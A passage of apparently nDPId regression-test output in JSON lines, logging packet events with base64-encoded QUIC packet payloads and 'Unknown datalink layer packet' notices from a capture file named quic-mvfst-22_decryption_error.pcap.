Wre5Bwoi1zndgTrJtEuD51oekBgB6rtebh+zvYiMA1HMNFbxG4J1as5j55V\/dH2Olvh6E11sQVuAQmfiaP8slAY\/L7AM63cV4juyazDUHziMExPbfHYA9WojSqqK8e9yz2tW5yHGqvS1TgeNCCno0ID2BHHXo2An24tRHT6EOJTBVsHvAYoGuoKL\/3\/+vFxhbamaCvW7LY\/Oax9dkXmox7mW9ziji8DbVakqQXbaYsBwXWSo1U1q7FmoO2aVvJxwHZv8SWlijHaw+Lns8htOcxVICobJi4XP0PtWRIggNedWm\/wdgeJL+G2JZRJYm0Ts0sbipS4POfjKQxq+AHK9oMegDNNasZRdPC3lqt75T8M6K6hD8CFO4MtktnlgEvuV+aLrJyjdpmZ9LJP8hkjr7EfLx7V18e0mJF59n4="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":107,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":108,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":907000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAKQABZEalhXmHhkgrmKKgBu\/L0BOx8E0hOYJI\/GwqxZvZ39IjOXFxJNQq8YOCsL1TFEloW2gG\/dKgaTh\/xlTwPw77wbRIv\/2qBOOAZqgY5g7PgbmI+PZdFcYcFTVlVq0IDyt7\/LP27swWCUKo0KeYjWeLMXAeDxHH428zYJsCGTU+gtIuNIG7R4RZrbYDlbcK46hYn+8C0X6crDmofmv3mATWCQH+fECRSQwEnRHmbMd3\/V5baz\/8iohOgHnAcvxI19ZgK7kCR6g8at4pR0e6avRGJXFzwmPSSvhEsGRRzo2mLvhUZ4j9pIk9g24HYOsv5diDWjs37adLfY1jz4IpueJCWu\/teeu1geXvtaFlDOAblWySEAp1fClfr7HgJ0syC1qTTiJt60YzRrBBd\/S7jUyS+PMpWP0\/BobZ9MDFm9465d8oO\/HRlUR41bLhe5Q8FaNuo2Pnkovgfcp9UAhZazCNe1Kk\/dWjvrYSoVygMkiKRDYovrpfmyw8bSC3FTdBeMAd3eyeHBK48GJtq0YmQ1TR2BZSSBfrNn7X5Czh5zeH8H8bPcco\/sXs9h6pO0nTVz5A8r7m+CxP\/GsqY9JjAS3fsGnzesDxocoOOmaYd2FGhdO3pIK6eMKQuJ6TenaJZiiMyemVdPcSZ0Q+R6E2yG7F\/6cHlXaKnTdHQRNrxmPTpqzB9QglL8R2eRhjuqnJScpDlvwtv7kXhRRVzFskp3pbSeIorN+93OOJs1k6sbxuejifsDVuXyTFFiuA7DggLKqVFS30uggRM+Z6fZZnFHATuwxU+kf7V7PftTs5VZ5uSUQhwN\/T08H8UqQ4\/vvP3vLw6aqmE6OoFUeIXXOzPVa5tcRytlmNVGYnB2LZmoxtuii6hQB1\/h271yshjRZYlOxkHP0strugENqqJshsoLul3aKpODKnCWy2XrcsyEyukyPwb3CHGUEqWvwzy3SHNz5U0j9OulH4qyGqdq8y+WQgGOisXPKmAhC1C11qpVpCvi2pKrGTmt9Zc4tPCOk5W7k1H8GJEsGICByopDkye7QZGiAW2JzOZw1wPu9GH+TAQeNA6HRNpZ4qb5xQP9AiaKm392+vc2T2L+vfNleetRTdqGHEQ+xWiIgYH6zohzisAvvst3t\/uOU9TgzL0JJ2W1YLZt7oITZQQ6PXr+bIYGp0fDXk0JG4QL1gK7A1xqgUJBKFcQYjKW3ZJmkNbKGJP1KH8xFEKGrGfxJDWT\/JlsrEvcVt1pXdOO\/5XpKVIa\/TBUinU0rc2jZ2ydm+33Wre5Bwoi1zndgTrJtEuD51oekBgB6rtebh+zvYiMA1HMNFbxG4J1as5j55V\/dH2Olvh6E11sQVuAQmfiaP8slAY\/L7AM63cV4juyazDUHziMExPbfHYA9WojSqqK8e9yz2tW5yHGqvS1TgeNCCno0ID2BHHXo2An24tRHT6EOJTBVsHvAYoGuoKL\/3\/+vFxhbamaCvW7LY\/Oax9dkXmox7mW9ziji8DbVakqQXbaYsBwXWSo1U1q7FmoO2aVvJxwHZv8SWlijHaw+Lns8htOcxVICobJi4XP0PtWRIggNedWm\/wdgeJL+G2JZRJYm0Ts0sbipS4POfjKQxq+AHK9oMegDNNasZRdPC3lqt75T8M6K6hD8CFO4MtktnlgEvuV+aLrJyjdpmZ9LJP8hkjr7EfLx7V18e0mJF59n4="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":108,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02058{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":109,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAKQABZEakpXmHhkgrmKKgBu\/L0BOx8E0hOYJI\/GwqxZvZ39IjOXFxJNQq8YOCsL1TFEloW2gG\/dKgaTh\/xlTwPw77wbRIv\/2qBOOAZqgY5g7PgbmI+PZdFcYcFTVlVq0IDyt7\/LP27swWCUKo0KeYjWeLMXAeDxHH428zYJsCGTU+gtIuNIG7R4RZrbYDlbcK46hYn+8C0X6crDmofmv3mATWCQH+fECRSQwEnRHmbMd3\/V5baz\/8iohOgHnAcvxI19ZgK7kCR6g8at4pR0e6avRGJXFzwmPSSvhEsGRRzo2mLvhUZ4j9pIk9g24HYOsv5diDWjs37adLfY1jz4IpueJCWu\/teeu1geXvtaFlDOAblWySEAp1fClfr7HgJ0syC1qTTiJt60YzRrBBd\/S7jUyS+PMpWP0\/BobZ9MDFm9465d8oO\/HRlUR41bLhe5Q8FaNuo2Pnkovgfcp9UAhZazCNe1Kk\/dWjvrYSoVygMkiKRDYovrpfmyw8bSC3FTdBeMAd3eyeHBK48GJtq0YmQ1TR2BZSSBfrNn7X5Czh5zeH8H8bPcco\/sXs9h6pO0nTVz5A8r7m+CxP\/GsqY9JjAS3fsGnzesDxocoOOmaYd2FGhdO3pIK6eMKQuJ6TenaJZiiMyemVdPcSZ0Q+R6E2yG7F\/6cHlXaKnTdHQRNrxmPTpqzB9QglL8R2eRhjuqnJScpDlvwtv7kXhRRVzFskp3pbSeIorN+93OOJs1k6sbxuejifsDVuXyTFFiuA7DggLKqVFS30uggRM+Z6fZZnFHATuwxU+kf7V7PftTs5VZ5uSUQhwN\/T08H8UqQ4\/vvP3vLw6aqmE6OoFUeIXXOzPVa5tcRytlmNVGYnB2LZmoxtuii6hQB1\/h271yshjRZYlOxkHP0strugENqqJshsoLul3aKpODKnCWy2XrcsyEyukyPwb3CHGUEqWvwzy3SHNz5U0j9OulH4qyGqdq8y+WQgGOisXPKmAhC1C11qpVpCvi2pKrGTmt9Zc4tPCOk5W7k1H8GJEsGICByopDkye7QZGiAW2JzOZw1wPu9GH+TAQeNA6HRNpZ4qb5xQP9AiaKm392+vc2T2L+vfNleetRTdqGHEQ+xWiIgYH6zohzisAvvst3t\/uOU9TgzL0JJ2W1YLZt7oITZQQ6PXr+bIYGp0fDXk0JG4QL1gK7A1xqgUJBKFcQYjKW3ZJmkNbKGJP1KH8xFEKGrGfxJDWT\/JlsrEvcVt1pXdOO\/5XpKVIa\/TBUinU0rc2jZ2ydm+33Wre5Bwoi1zndgTrJtEuD51oekBgB6rtebh+zvYiMA1HMNFbxG4J1as5j55V\/dH2Olvh6E11sQVuAQmfiaP8slAY\/L7AM63cV4juyazDUHziMExPbfHYA9WojSqqK8e9yz2tW5yHGqvS1TgeNCCno0ID2BHHXo2An24tRHT6EOJTBVsHvAYoGuoKL\/3\/+vFxhbamaCvW7LY\/Oax9dkXmox7mW9ziji8DbVakqQXbaYsBwXWSo1U1q7FmoO2aVvJxwHZv8SWlijHaw+Lns8htOcxVICobJi4XP0PtWRIggNedWm\/wdgeJL+G2JZRJYm0Ts0sbipS4POfjKQxq+AHK9oMegDNNasZRdPC3lqt75T8M6K6hD8CFO4MtktnlgEvuV+aLrJyjdpmZ9LJP8hkjr7EfLx7V18e0mJF59n4="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":109,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":110,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAALQABZEalgXmHhkgrmKKgBu\/L0BOwbz0yJgOPXfyTvXPeDwTJK9rutzQQ4QAHp3uJCivc+rEdzY3m8\/FV8oP5Ym0YR1ZeYZa8Cwqt6k2PWHZP+Zs\/cqMPe92lHriE7yRciTEb0r2i4JTTV3RvXMRDnySyjMYJ+orwdlozfKqTacBWpJ2Jd6e3yc7LanU8smV38v8ER4H4CLPFy2B6C8oUzJAcDhY19QsfgzbcuBfI0g2IYY29I99ft7sAnZ3EAL6RH9Z4eqWwxw2KC19NQ0U2mao6URiO5rrei7eMeldjU\/lgO6KWh49x3Kx9PPqbKTIJfTxBnrUTDMZE65QcFmNRdx0P5zQye5gW0cucF9LYmflI9FyubEd0Z7FKD1SSWHYOO7v3ryYoTjavpGcfZGd1Nmh40T7HQXanP1wxGnnQy2XgOvA1IXxGXHK8gtfbBCGpOrlSlT7UwrMkxYL5nSPaF4r0PZoYHsWoznQkDFpYKRspoAht5Fzqm6dGoH9Esb1u+7DJQ2FdAKUkagWPgfASIIeyb0v3KrfNI2mtPIsvLMkdogK2d3ViQcJZNwIVlc1PJDoEmrIJzWpFrzrcOxzOaGbOTTxVWM+njU9xFpaAlPaPaPzn51ynXcv1unL9W+byLrXYKDwkulbu3iH4BoWIGnk5wpNldvRbAUBmBRmwfQtX2Rp1A4iBC3kz\/P\/fMmrvkrEt9c9BBTXIPR5dNT5aUh9FjhOJ0iahS848SFUqYBtLBMlOKnDKggJ7BehmhSo+1MvVo5RyJAbJQNG9ZRzhLyoTVDjgCDUnkZyfgnx+UL1LIm2Lc9jk9mnYb6yOdex3CTgT92GqlqXm63IAS+L9Wnp8Ozf\/15zYWD2ZKfZ2w+m9eRXSkYRSak5kTTp9K5elJ0fNJxSalQR5n\/uB\/2CUv04DSso9s28Su3rqpd12HMMRoMu60sdchzuPyOalkKUaq8PLW6ev3wsVG4w9JqnDYD0qipESy2fSghzTJq0tbLKKeeKrW7v413pRijq5cuF7IvfmoGX41\/fk93jKgXCdAGecLzq\/ZT8H+rF6cjf5MqO\/OspAp2WTao+G6R0ESgV+UWw3cTNTamV0qpnEfVQVw9rIcRoLlPgGmqXvRks56i5A4+6j6JRmjy82sTYzBNBJT6FwdkKWBBJSgDxPtwDtZ7EPk2JpIDXSkEbQ9RmxL4dNqw\/2mdcwtP96H+Z+PCCH0N5vQ23owQN6vgpsOygXsjUOaUV4nE4+A1RGgYUnXy2btbSha4L8O1xzE6JHm7FEqPt3K6mdbhwLDXJpfo1c6ykDgQHRjLdowLbrrmBFgZsPq\/n3Xc4O\/MRhaYx4TtN1MFXb+\/FspTuZTFjckJO2shvvw3WeTNSip3\/DR7SSaiREB9UrF24lNQpxEjywnJ0d7apDxYzG6lV2w7TK4cRVj30bV3hWAC4EW42FhIXiCH9qY10f3dNv0ErBol8Zq\/0JhMsJnEFF9V4YJx5khlgFDt48bMMt2YFaNztfSuK1uBmN\/Gia+l6L5AzTuZj41+7L1FVSa3MFAt\/b8oOKIhi\/uCd+OKprinamn52rRhUlX31cKOkg+lY2+8WOyewvjIsn4PVToQsEzI5bBjX6\/PyuoRDBK8+cw941XH5FD9YFxmj5UJiVzkcJ6ajtZA4dmgAcS1swUTuiMiJm3OsYrlhxgbcXwLHiS1LvsgPI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":110,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":111,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAALQABZEalgXmHhkgrmKKgBu\/L0BOwbz0yJgOPXfyTvXPeDwTJK9rutzQQ4QAHp3uJCivc+rEdzY3m8\/FV8oP5Ym0YR1ZeYZa8Cwqt6k2PWHZP+Zs\/cqMPe92lHriE7yRciTEb0r2i4JTTV3RvXMRDnySyjMYJ+orwdlozfKqTacBWpJ2Jd6e3yc7LanU8smV38v8ER4H4CLPFy2B6C8oUzJAcDhY19QsfgzbcuBfI0g2IYY29I99ft7sAnZ3EAL6RH9Z4eqWwxw2KC19NQ0U2mao6URiO5rrei7eMeldjU\/lgO6KWh49x3Kx9PPqbKTIJfTxBnrUTDMZE65QcFmNRdx0P5zQye5gW0cucF9LYmflI9FyubEd0Z7FKD1SSWHYOO7v3ryYoTjavpGcfZGd1Nmh40T7HQXanP1wxGnnQy2XgOvA1IXxGXHK8gtfbBCGpOrlSlT7UwrMkxYL5nSPaF4r0PZoYHsWoznQkDFpYKRspoAht5Fzqm6dGoH9Esb1u+7DJQ2FdAKUkagWPgfASIIeyb0v3KrfNI2mtPIsvLMkdogK2d3ViQcJZNwIVlc1PJDoEmrIJzWpFrzrcOxzOaGbOTTxVWM+njU9xFpaAlPaPaPzn51ynXcv1unL9W+byLrXYKDwkulbu3iH4BoWIGnk5wpNldvRbAUBmBRmwfQtX2Rp1A4iBC3kz\/P\/fMmrvkrEt9c9BBTXIPR5dNT5aUh9FjhOJ0iahS848SFUqYBtLBMlOKnDKggJ7BehmhSo+1MvVo5RyJAbJQNG9ZRzhLyoTVDjgCDUnkZyfgnx+UL1LIm2Lc9jk9mnYb6yOdex3CTgT92GqlqXm63IAS+L9Wnp8Ozf\/15zYWD2ZKfZ2w+m9eRXSkYRSak5kTTp9K5elJ0fNJxSalQR5n\/uB\/2CUv04DSso9s28Su3rqpd12HMMRoMu60sdchzuPyOalkKUaq8PLW6ev3wsVG4w9JqnDYD0qipESy2fSghzTJq0tbLKKeeKrW7v413pRijq5cuF7IvfmoGX41\/fk93jKgXCdAGecLzq\/ZT8H+rF6cjf5MqO\/OspAp2WTao+G6R0ESgV+UWw3cTNTamV0qpnEfVQVw9rIcRoLlPgGmqXvRks56i5A4+6j6JRmjy82sTYzBNBJT6FwdkKWBBJSgDxPtwDtZ7EPk2JpIDXSkEbQ9RmxL4dNqw\/2mdcwtP96H+Z+PCCH0N5vQ23owQN6vgpsOygXsjUOaUV4nE4+A1RGgYUnXy2btbSha4L8O1xzE6JHm7FEqPt3K6mdbhwLDXJpfo1c6ykDgQHRjLdowLbrrmBFgZsPq\/n3Xc4O\/MRhaYx4TtN1MFXb+\/FspTuZTFjckJO2shvvw3WeTNSip3\/DR7SSaiREB9UrF24lNQpxEjywnJ0d7apDxYzG6lV2w7TK4cRVj30bV3hWAC4EW42FhIXiCH9qY10f3dNv0ErBol8Zq\/0JhMsJnEFF9V4YJx5khlgFDt48bMMt2YFaNztfSuK1uBmN\/Gia+l6L5AzTuZj41+7L1FVSa3MFAt\/b8oOKIhi\/uCd+OKprinamn52rRhUlX31cKOkg+lY2+8WOyewvjIsn4PVToQsEzI5bBjX6\/PyuoRDBK8+cw941XH5FD9YFxmj5UJiVzkcJ6ajtZA4dmgAcS1swUTuiMiJm3OsYrlhxgbcXwLHiS1LvsgPI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":111,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":112,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAALQABZEakoXmHhkgrmKKgBu\/L0BOwbz0yJgOPXfyTvXPeDwTJK9rutzQQ4QAHp3uJCivc+rEdzY3m8\/FV8oP5Ym0YR1ZeYZa8Cwqt6k2PWHZP+Zs\/cqMPe92lHriE7yRciTEb0r2i4JTTV3RvXMRDnySyjMYJ+orwdlozfKqTacBWpJ2Jd6e3yc7LanU8smV38v8ER4H4CLPFy2B6C8oUzJAcDhY19QsfgzbcuBfI0g2IYY29I99ft7sAnZ3EAL6RH9Z4eqWwxw2KC19NQ0U2mao6URiO5rrei7eMeldjU\/lgO6KWh49x3Kx9PPqbKTIJfTxBnrUTDMZE65QcFmNRdx0P5zQye5gW0cucF9LYmflI9FyubEd0Z7FKD1SSWHYOO7v3ryYoTjavpGcfZGd1Nmh40T7HQXanP1wxGnnQy2XgOvA1IXxGXHK8gtfbBCGpOrlSlT7UwrMkxYL5nSPaF4r0PZoYHsWoznQkDFpYKRspoAht5Fzqm6dGoH9Esb1u+7DJQ2FdAKUkagWPgfASIIeyb0v3KrfNI2mtPIsvLMkdogK2d3ViQcJZNwIVlc1PJDoEmrIJzWpFrzrcOxzOaGbOTTxVWM+njU9xFpaAlPaPaPzn51ynXcv1unL9W+byLrXYKDwkulbu3iH4BoWIGnk5wpNldvRbAUBmBRmwfQtX2Rp1A4iBC3kz\/P\/fMmrvkrEt9c9BBTXIPR5dNT5aUh9FjhOJ0iahS848SFUqYBtLBMlOKnDKggJ7BehmhSo+1MvVo5RyJAbJQNG9ZRzhLyoTVDjgCDUnkZyfgnx+UL1LIm2Lc9jk9mnYb6yOdex3CTgT92GqlqXm63IAS+L9Wnp8Ozf\/15zYWD2ZKfZ2w+m9eRXSkYRSak5kTTp9K5elJ0fNJxSalQR5n\/uB\/2CUv04DSso9s28Su3rqpd12HMMRoMu60sdchzuPyOalkKUaq8PLW6ev3wsVG4w9JqnDYD0qipESy2fSghzTJq0tbLKKeeKrW7v413pRijq5cuF7IvfmoGX41\/fk93jKgXCdAGecLzq\/ZT8H+rF6cjf5MqO\/OspAp2WTao+G6R0ESgV+UWw3cTNTamV0qpnEfVQVw9rIcRoLlPgGmqXvRks56i5A4+6j6JRmjy82sTYzBNBJT6FwdkKWBBJSgDxPtwDtZ7EPk2JpIDXSkEbQ9RmxL4dNqw\/2mdcwtP96H+Z+PCCH0N5vQ23owQN6vgpsOygXsjUOaUV4nE4+A1RGgYUnXy2btbSha4L8O1xzE6JHm7FEqPt3K6mdbhwLDXJpfo1c6ykDgQHRjLdowLbrrmBFgZsPq\/n3Xc4O\/MRhaYx4TtN1MFXb+\/FspTuZTFjckJO2shvvw3WeTNSip3\/DR7SSaiREB9UrF24lNQpxEjywnJ0d7apDxYzG6lV2w7TK4cRVj30bV3hWAC4EW42FhIXiCH9qY10f3dNv0ErBol8Zq\/0JhMsJnEFF9V4YJx5khlgFDt48bMMt2YFaNztfSuK1uBmN\/Gia+l6L5AzTuZj41+7L1FVSa3MFAt\/b8oOKIhi\/uCd+OKprinamn52rRhUlX31cKOkg+lY2+8WOyewvjIsn4PVToQsEzI5bBjX6\/PyuoRDBK8+cw941XH5FD9YFxmj5UJiVzkcJ6ajtZA4dmgAcS1swUTuiMiJm3OsYrlhxgbcXwLHiS1LvsgPI="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":112,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02061{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":113,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAMQABZEalfXmHhkgrmKKgBu\/L0BOyHVFVmER2b4Hs1CxtK3B1EWvrUKRCVF8guycy9beW3wlnyy2X4CryoYEKTk8f7caQh8NGi6o75QWJ7Q\/Y5zIIqJXLvP8sup8NRLo9HVj5BSlU68JKDF7BOE3hFZKko1uYwNrZ\/b9hqg4EqOw28L26RKuVqJGjYdczp0cKiTKY\/f2UEEBc9TkIM9F+z8wWK9zLV\/HRmLJBt5egQoQxS+mOJP3RVwq5CqXw58diMaWx3jfrPk8uX5I8R1mKRkM01JbyAURKVwWEHPogsrLs2EC1wyDLZSaX8D8iQV3\/zMEEPR\/47vRXsdNstOy+\/GGWnGVxpCLNOUfa3ck+dVf4RlufC3nIv\/tGDwe1\/th14Pmdc8pp2z4HPCNYBLOp32joQ5gS3v0aD75rqYy6Ve29mfiMvYyZShXrDkPiKNBz28YM+QJ7vWXq48UNluTOgGlV5Qi4OiANLG4RyJGRFc4LEfgILWDLmy\/jFbrjaE915FdjPYRJPjnknp7Gc1UbC3Ev1wIZ0fTHT2fDQ65OK2ErCgwYrIlXEeP8xIxAjbP1CY1FOkWvDPxisS7kkJwYE8tMDPgJ7BOvFLOc2XQ2j40VNdGj39vEOiYsGqOzF82v6u6RZgYrWnY5PihAV70oiI+ni8u1BaznLF00NKY6wEOQaedh7+A\/GcXBh0ZuYdvbD3A\/1rL35oslfV73Hv3nM+WNaZQxsRGWyaAL3SAWFVnuypTs3wuYGESjpD6d+R2f7TLCF9B\/NYX\/zbLmZQuqOLhONIkJY\/mCYf6gEx2B52tt95qzhQkN1ef9UPyhn\/jC5rUTNA9c8MWdNJE3OAVF6ljkmd2BF0R+NAQsk+YnoO2C2BWWTXlsHYRE4mC2VN32sLvWksZAW2XbrM0Fs+WaUC4ZxmMDae5SugmflgnFv2MCBVa1iox\/l3sOJNhI2RrqPjJJ4z4TM5jZlXNkBMeBD8pAVyGIWpbtDfFRnxF0OH5g2R5XHcdBhh1\/gGEvlMEPx2ugcaLE2BmpJGRQBl7vjg\/gi77wPx1PsZ2ZX7SZOqZMxZmM33TJxQELfiMNbg9gC1B9XnKAmup1KfFwtPV1AGXCRvCpcX51TSQlLXlhssZy38yHkq25JFmyX6YNwjPsorGyznWcqK2FbbLNwxjOMIBa7tm9GXmmxRE1cQu7MvbpB06RUEKzMM2Y8u1QVF7IDCtJHz+uNvjHsz8Fgr6XLgbgBgruM1JhvO8gXOZ0rmvjTZ\/y7XzKatLn1HtJJRFkLM\/Ulvxp283NGsRiWGstnVnV06C\/n3ZnRflLgnq01NTdgS7+Xwa4HMU6EigakZZHRjFJJKOnhQWRsWvibPKXTUDheByU1KXbUOqUE6vtFDdbHLquidgpWiCARvArqfbSszeT6Rl2k0jb\/oKCUSNul04oFp75KX2Yv+E1qhJwgH+zsNVm2IVao4JlkvBQFs1AaxWQB8fCgO4TO1T9ORZN2hbTVTrb+Tx8ThfZyhRPWyixEjp7DR0J3zF+PNrd6VhWaJcbDru+e4Fk9ZF9xhHV+x8g4aPrB5rUGO1vu\/DZ\/zxrpYpLzhI\/DOvDzwoPx+Cqppg1u3vIjIh1ynysKc39\/z3qB5\/cl8mu+neglqN4SodLd7M6220a\/fBRz35MkBtGqyb1KRDiTRkV\/1PBQtlMy1\/3x1bsvZIUAzQQ="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":113,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02061{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":114,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAMQABZEalfXmHhkgrmKKgBu\/L0BOyHVFVmER2b4Hs1CxtK3B1EWvrUKRCVF8guycy9beW3wlnyy2X4CryoYEKTk8f7caQh8NGi6o75QWJ7Q\/Y5zIIqJXLvP8sup8NRLo9HVj5BSlU68JKDF7BOE3hFZKko1uYwNrZ\/b9hqg4EqOw28L26RKuVqJGjYdczp0cKiTKY\/f2UEEBc9TkIM9F+z8wWK9zLV\/HRmLJBt5egQoQxS+mOJP3RVwq5CqXw58diMaWx3jfrPk8uX5I8R1mKRkM01JbyAURKVwWEHPogsrLs2EC1wyDLZSaX8D8iQV3\/zMEEPR\/47vRXsdNstOy+\/GGWnGVxpCLNOUfa3ck+dVf4RlufC3nIv\/tGDwe1\/th14Pmdc8pp2z4HPCNYBLOp32joQ5gS3v0aD75rqYy6Ve29mfiMvYyZShXrDkPiKNBz28YM+QJ7vWXq48UNluTOgGlV5Qi4OiANLG4RyJGRFc4LEfgILWDLmy\/jFbrjaE915FdjPYRJPjnknp7Gc1UbC3Ev1wIZ0fTHT2fDQ65OK2ErCgwYrIlXEeP8xIxAjbP1CY1FOkWvDPxisS7kkJwYE8tMDPgJ7BOvFLOc2XQ2j40VNdGj39vEOiYsGqOzF82v6u6RZgYrWnY5PihAV70oiI+ni8u1BaznLF00NKY6wEOQaedh7+A\/GcXBh0ZuYdvbD3A\/1rL35oslfV73Hv3nM+WNaZQxsRGWyaAL3SAWFVnuypTs3wuYGESjpD6d+R2f7TLCF9B\/NYX\/zbLmZQuqOLhONIkJY\/mCYf6gEx2B52tt95qzhQkN1ef9UPyhn\/jC5rUTNA9c8MWdNJE3OAVF6ljkmd2BF0R+NAQsk+YnoO2C2BWWTXlsHYRE4mC2VN32sLvWksZAW2XbrM0Fs+WaUC4ZxmMDae5SugmflgnFv2MCBVa1iox\/l3sOJNhI2RrqPjJJ4z4TM5jZlXNkBMeBD8pAVyGIWpbtDfFRnxF0OH5g2R5XHcdBhh1\/gGEvlMEPx2ugcaLE2BmpJGRQBl7vjg\/gi77wPx1PsZ2ZX7SZOqZMxZmM33TJxQELfiMNbg9gC1B9XnKAmup1KfFwtPV1AGXCRvCpcX51TSQlLXlhssZy38yHkq25JFmyX6YNwjPsorGyznWcqK2FbbLNwxjOMIBa7tm9GXmmxRE1cQu7MvbpB06RUEKzMM2Y8u1QVF7IDCtJHz+uNvjHsz8Fgr6XLgbgBgruM1JhvO8gXOZ0rmvjTZ\/y7XzKatLn1HtJJRFkLM\/Ulvxp283NGsRiWGstnVnV06C\/n3ZnRflLgnq01NTdgS7+Xwa4HMU6EigakZZHRjFJJKOnhQWRsWvibPKXTUDheByU1KXbUOqUE6vtFDdbHLquidgpWiCARvArqfbSszeT6Rl2k0jb\/oKCUSNul04oFp75KX2Yv+E1qhJwgH+zsNVm2IVao4JlkvBQFs1AaxWQB8fCgO4TO1T9ORZN2hbTVTrb+Tx8ThfZyhRPWyixEjp7DR0J3zF+PNrd6VhWaJcbDru+e4Fk9ZF9xhHV+x8g4aPrB5rUGO1vu\/DZ\/zxrpYpLzhI\/DOvDzwoPx+Cqppg1u3vIjIh1ynysKc39\/z3qB5\/cl8mu+neglqN4SodLd7M6220a\/fBRz35MkBtGqyb1KRDiTRkV\/1PBQtlMy1\/3x1bsvZIUAzQQ="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":114,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02061{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":115,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":908000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAMQABZEaknXmHhkgrmKKgBu\/L0BOyHVFVmER2b4Hs1CxtK3B1EWvrUKRCVF8guycy9beW3wlnyy2X4CryoYEKTk8f7caQh8NGi6o75QWJ7Q\/Y5zIIqJXLvP8sup8NRLo9HVj5BSlU68JKDF7BOE3hFZKko1uYwNrZ\/b9hqg4EqOw28L26RKuVqJGjYdczp0cKiTKY\/f2UEEBc9TkIM9F+z8wWK9zLV\/HRmLJBt5egQoQxS+mOJP3RVwq5CqXw58diMaWx3jfrPk8uX5I8R1mKRkM01JbyAURKVwWEHPogsrLs2EC1wyDLZSaX8D8iQV3\/zMEEPR\/47vRXsdNstOy+\/GGWnGVxpCLNOUfa3ck+dVf4RlufC3nIv\/tGDwe1\/th14Pmdc8pp2z4HPCNYBLOp32joQ5gS3v0aD75rqYy6Ve29mfiMvYyZShXrDkPiKNBz28YM+QJ7vWXq48UNluTOgGlV5Qi4OiANLG4RyJGRFc4LEfgILWDLmy\/jFbrjaE915FdjPYRJPjnknp7Gc1UbC3Ev1wIZ0fTHT2fDQ65OK2ErCgwYrIlXEeP8xIxAjbP1CY1FOkWvDPxisS7kkJwYE8tMDPgJ7BOvFLOc2XQ2j40VNdGj39vEOiYsGqOzF82v6u6RZgYrWnY5PihAV70oiI+ni8u1BaznLF00NKY6wEOQaedh7+A\/GcXBh0ZuYdvbD3A\/1rL35oslfV73Hv3nM+WNaZQxsRGWyaAL3SAWFVnuypTs3wuYGESjpD6d+R2f7TLCF